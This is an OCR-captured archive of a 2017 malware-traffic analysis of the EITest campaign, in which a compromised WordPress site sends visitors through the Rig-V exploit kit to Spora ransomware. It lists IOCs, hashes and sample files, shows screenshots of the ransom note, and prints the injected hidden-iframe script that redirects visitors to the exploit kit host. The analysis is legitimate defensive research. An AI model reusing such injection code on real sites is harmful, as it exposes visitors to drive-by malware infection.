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Malware-Traffic-Analysis.net - 2017-01-17 - EITest Rig-V from
92.53.127[.]86 sends Spora ransomware

Archived: 2026-04-05 14:06:31 UTC

NOTICE:

e The zip archives on this page have been updated, and they now use the new password scheme. For the new

password, see the "about" page of this website.
ASSOCIATED FILES:

e 2017-01-17-ElTest-Rig-V-sends-Spora-ransomware.pcap.zip 293.9 kB (293,923 bytes)

e 2017-01-17-ElTest-Rig-V-sends-Spora-ransomware.pcap (341,571 bytes)

e 2017-01-17-ElTest-Rig-V-artifacts-and-Spora-ransomware.zip 169.5 kB (169,513 bytes)

e 2017-01-17-ElTest-Rig-V-flash-exploit.swf (37,436 bytes)

e 2017-01-17-ElTest-Rig-V-landing-page.txt (5,198 bytes)

e 2017-01-17-EITest-Rig-V-payload-Spora-ransomware-radFCDCC.tmp.exe (114,688 bytes)

e 2017-01-17-Spora-ransomware-US20D-ABCDE-ABCDE-ABCDE.HTML (14,402 bytes)

e 2017-01-17-Spora-ransomware-payment-page.html (89,552 bytes)

e 2017-01-17-page-from-naturalhealthonline_com-with-injected-EITest-script.txt (37,961 bytes)

BACKGROUND ON RIG EXPLOIT KIT:

e Rig-V is what security researchers called Rig EK version 4 when it was only accessible by "VIP"
customers, while the old version (Rig 3) was still in use.

e [ currently call it "Rig-V" out of habit. You can probably just call it Rig EK now.

e Before 2017, I used to see Empire Pack (Rig-E) which is a variant of Rig EK with older-style URLs as
described by Kafeine here.

o T haven't seen anything other than Rig-V (Rig 4.0) when looking at Rig EK-based campaigns so far in
2017.

BACKGROUND ON THE EITEST CAMPAIGN:
e My most recent write-up on the EITest campaign can be found here.
BACKGROUND ON SPORA RANSOMWARE:

e Spora ransomware was first spotted last week and reported on 2017-01-10 at BleepingComputer (link) and
other sites quickly picked up on the news.
o Apparently, it was being spread through malicious spam (malspam) last week.

e Now it's also being spread through Rig Exploit Kit by the EITest campaign.
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e Of note, there is no callback traffic by the Spora ransomware.
o The only post-infection I saw was HTTPS traffic to sporal.]bz when I followed the link from the

decryption instructions.

Injected ElTest script from
compromised website

Spora ransomware

Shown above: Flowchart for this infection traffic.

TRAFFIC

@ http://naturalhealthonline.com/ - Original Source
File Edit Format

609 | <script type="text/javascript’' src="http://naturalhealthonline.com/wp- &
content/themes/tribune/functions/wpzoom/assets/js/wzslider.js' ></script>

610  <script type="text/javascript® src="http://naturalhealthonline.com/wp-includes/js/wp-
embed.min.js?ver=4.6.2"></script>

611
612 | <body> </body>

613 |<script type="text/javascript"> var zxjuq = document.createElement("iframe"); wvar jmafa = ""
zxjug.style.width = "20px"; zxjug.style.height = "5px"; zxjug.style.border = "@px";
zxjug.frameBorder = "0"; zxjug.setAttribute("frameBorder"”, "0"); document.body.appendChild
(zxjug); jmafa = "http://zome.APLUSENGINEERING-GR.COM/?br +1=5761
&ct=Vivaldi&biw=Vivaldi.76jd82.406h7m4ed8g=z3 QMvXcIwDQDoTCMvrESLtEMU OGKKK20H_
783VCZn9IHT1vvHPRAPwtgW&tuif=21618&yus=Vivaldi.122jh81.406ulg8j9
&oq=CelzToaAkKrIVawlL1iBDRLgFgyNALB1kXoq2038DXwRbIh8KD SWOUU4AHupE"; zxjug.src = jmafa; </script>
614 </body>

615 </html>

« [u]

Shown above: Injected script from the EITest campaign from the compromised site.
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Filter: http.request ~ | Expression... Clear Save Filter Filter Filter

Date/Time Dst port | Host Info

-17 22:46:40 104.31.141.48 naturalhealthonline.com GET / HTTR/1.1
2017-01-17 22:46:44 92.53.127.86 80 zome.aplusengineering-gr.com GET /?br_fl=5761&ct=Vivaldi&biw=Vivaldi.76)d82.406h7mde0&kq=23 QV
2017-01-17 22:46:45 92.53.127.86 80 zome.aplusengineering-gr.com POST /?yus=Mozilla.85ag67.406f0q6s38biw=Mozi11a.91w]86.406b8kEcE
2017-01-17 22:46:47 92.53.127.86 80 zome.aplusengineering-gr.com GET /?br_fl=528080q=2ToaAkK7]VawL11BDRLgBgyNOLE1kX0oq2p30DXwRbihe
2017-01-17 22:46:47 92.53.127.86 80 zome.aplusengineering-gr.com GET /?biw=SeaMonkey.1099q97.406d1d8f 3kct=SeaMonkey&q=w3nQMvXclx_
2017-01-17 22:46:48 92.53.127.86 80 zome.aplusengineering-gr.com GET /7?tulf=31938g=wXbQMvXcIwDQAcbGMy rESLtGNkNQACKK2I 72_dqyEoHIcm

Shown above: Pcap of the infection traffic filtered in Wireshark.
ASSOCIATED DOMAINS:

o naturalhealthonline[.Jcom - Compromised site

e 92.53.127[.186 port 80 - zome.aplusengineering-gr[.]Jcom - Rig-V

e 186.2.161[.]51 port 443 - sporal.]bz - HTTPS/SSL/TLS traffic when I checked the Spora ransomware

decryption instructions

FILE HASHES

FLASH EXPLOIT:

o SHA256 hash: 7ef95283a46424a4c8db0d00601f8369831c29d748c6d4dccbf6620dd7558clc (37,436
bytes)
File description: Rig-V Flash exploit seen on 2017-01-17

PAYLOAD (SPORA RANSOMWARE):

e SHA256 hash: 2637247ad66e6e57a68093528bb137c959cdbb438764318f09326fc8a79bdaaf (114,688
bytes)
File path example: C:\Users\[username]\AppData\Local\Temp\radFCDCC.tmp.exe

IMAGES
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= | O xX

» | & C:\Users\[usermame]\Desktop\US20D-ABCDE-ABCDE-ABCDE HTML | 42| x [I £ ging o~

File Edit View Favorites Tools Help

¢ Favorites |88 - | (& Natural Health Online |

| (& Spora Ransomware x | |

All your work and personal files were encrypted

To restore data, obtaining guarantees and support,
follow the instructions in your account.

Site do not support Internet Explorer!
Please, download Mozilla Firefox or Google Chrome

SPORA RANSOMWARE

| PR

1 — | N ‘ +

Vﬁﬂ -

W Computer | Protected Mode: Off
-

®100% v

’ : ! : - Spora Ransomwar...

Shown above: Desktop of the infected Windows host.

11:0PM |
1/17/2017

g P
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[ Spera Ransomware

c | @ file:///C:/Users/[username]/Desktop/US20D-ABCDE-ABCDE-ABCDE.HTML

All your work and personal files were encrypted

To restore data, obtaining guarantees and support,
follow the instructions in your account.

hitps://spora.bz »
Personal Area

US20D-ABCDE-ABCDE-ABCDE

What happened?

1. Only we can restore your files.

Your files have benn modified using RSA-1024 algorithm. Reverse recovery process is
called decryption. This requires your unigue key. Itis impossible to find it somewhere or
“hack”.

2. Do not turn to intermediaries!

All recovery keys are securely stored on our servers, therefore, if somebody will say you,

that he could “restore” your data without the key, in the best case, he firstly buys the key at
us, and then he resell it to you at a premium.

If you cannot Synchronize your account (* KEY), click here:
+ SYNCHRONIZATION -

Shown above: Full view of the decryption instructions.
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Client Page
O g

&« (e | & Secure | https://spora.bz

1D: 0123456789ABCD hronization Required
I |
1 1
| My Purchasings 1 70"'025“5 KEY O !
] e
| .
. | WARNING! i
N 208 508 208 308 2 FREE e
‘ Public Communication e
FULL RESTORE IMMUNITY REMOVAL FILE RESTORE | FILE RESTORE | Messages: 5
Q- -
Reference: You full decrypt price is 120 USD Good day
[ c I
Available Payments Current Balance: 0.00 USD
Greetings, sir.
Do you have any questions?
0 HIt
e test
-
BitCoin Need Help? Type your message..
accepted here Send
Discount Payment Deadline
‘ My Transactions
_ Date Task Balance
0% NOT PAID 7 DAYS
No transactions yet.
h

Shown above: Going to the link from the decyrption instructions.
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General |Sec1.|rrty I Details I Previous Versions

j US20D-ABCDE-ABCDE-ABCDE.KEY

Type of file:  KEY File (KEY)
Opers v

Location: CUsers\[usemame]\Desktop

Size: 1.06 KB (1,083 bytes)

: &) File Edit Search View Analysis Extras Window 7
Ud-H|@d s [ ana [l he [

¥ US20D-ABCDE-ABCDE-ABCDEKEY |

Offset(h) 00 01 02 03 04 05

00000000 15 C3 E9 OE 23 F5 LEé L #83D.u856 1
00000010 F8 C9 74 R4 2D OE eEtu-B-*NT.&.834
00000020 E4 C5 0& EC 36 sh.1160)GIeLci<k
00000030 8D E6 79 69 oF LeyTi¥r. L3597

00000040 TF &5 &F 15 TF .en*..I8a°€4g: "<
00000050 27 45 TE ER DF "E~¢°R&.3-@iTEY.
00000060 79 7C 09 08 71 V| .M. glyCLgdsil) »

faYalatatataledal ~O AT oA ce w7 T arTTE am A s TAL

Offset: 0

Shown above: The key that was dropped to the desktop along with the decryption instructions.

Click here to return to the main page.

Source: http://malware-traffic-analysis.net/2017/01/17/index2.html
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